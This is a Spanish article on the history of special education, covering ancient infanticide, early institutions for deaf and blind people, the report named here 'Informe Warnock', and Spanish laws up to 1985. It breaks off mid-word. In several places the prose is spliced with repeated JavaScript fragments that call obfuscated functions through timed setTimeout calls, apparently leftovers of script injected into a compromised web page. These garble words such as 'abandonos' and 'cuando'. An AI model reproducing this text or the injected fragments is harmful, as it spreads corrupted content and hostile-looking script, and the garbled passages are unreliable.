LA EDUCACIÓN ESPECIAL A LO LARGO DE LA HISTORIA

Autora: Milagros García Habernau

         Se va a realizar un interesante repaso histórico de la educación especial que nos ayudará a asimilar mucho mejor la naturaleza de los nuevos contenidos.

           La educación especial, es decir, aquella atención educativa destinada a intervenir obre personas con NEE, es algo relativamente reciente, puesto que históricamente nunca se produjo. Fue la llegada de nuevas filosofías y planteamientos sociales, aplicados al ámbito educativo, los que originaron concepciones integradoras y respetuosas con las diferencias individuales. Veámoslo brevemente:


-En las primeras civilizaciones occidentales, Grecia y Roma, se sabe que eran habituales los infanticidios con aquellos niños que al nacer se les detectaba alguna tara física o síquica.

-A partir del siglo VI, por influencia del cristianismo, se prohíben paulatinamente los infanticidios, por lo que aumentan los abandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andonos de estos niños.

 -En la Edad Media se documenta la existencia de los primeros asilos o centros de acogida, siempre sustentadas por órdenes religiosas.


-En el siglo XVI se crea el primer centro específico para personas con deficiencias (Pedro Ponce de León), en concreto para sordos, ya que éstos siempre fueron los más cercanos a la “normalidad”. Dos siglos más tarde, en el XVIII, se crea un centro similar de atención a ciegos, el Instituto Braille.

-En el siglo XIX, surgen los primeros intentos de atención por parte de las autoridades, pero siempre desde la perspectiva de una acogida funcional en centros separados del resto de la población “normal”.

 -No es hasta los años 50-60 del siglo XX, cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando aparece la verdadera integración, o al menos, varios intentos de llegar a ella. Es, por fin, en el  1978, cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando, a raíz del Informe Warnock, nace la integración escolar en centros ordinarios de personas con realidades especiales, aunque con diferentes niveles de integración en función de la gravedad de las circunstancias personales que cada alumno presente. En este informe aparece por primera vez la denominación de alumnos con necesidades educativas especiales (ANEE), lo cual hace abandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andonar otros términos peyorativos del tipo de deficientes, subnormales, etc.

           En España, es en la LGE (1970) donde se recoge por primera vez, aunque de forma ambigua e inespecífica, la necesidad de atender a los alumnos que presenten alguna minusvalía o deficiencia;  es cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando se amplia el concepto de educación especial, se empieza a hablar de integración, aunque con una escasa concienciación social.

         Más adelante, en la Constitución (1978) se determina en el artículo 27 que “todo ciudadano tiene derecho a la educación, la educación tendrá por objeto el pleno desarrollo de la personalidad humana [...]“. Por ello, y de forma lógica, los niños que tienen alguna deficiencia sensorial, psíquica o motórica, tienen derecho a una educación sin trabas, que les permita llegar a desarrollarse íntegramente como miembros activos de la sociedad. Las instituciones educativas se ven a partir de este momento en la obligación moral y legal de dar la atención necesaria a estos alumnos para poder llegar al objetivo planteado.

         La LISMI (Ley de Integración Social del Minusválido, 1982)  establece cuatro principios para el tratamiento educativo de personas con deficiencias: normalización, sectorización, integración escolar e individualización de la enseñanza. Recoge un conjunto de derechos y deberes para estos ciudadanos que el Estado, las Comunidades Autónomas y los Municipios se encargarán de garantizar. Facilita la integración a nivel logístico, de formación, de acceso de trabajo y el resto de bienes públicos

         Con el Real Decreto 334/1985, de Ordenación de la Educación Especial, es  cu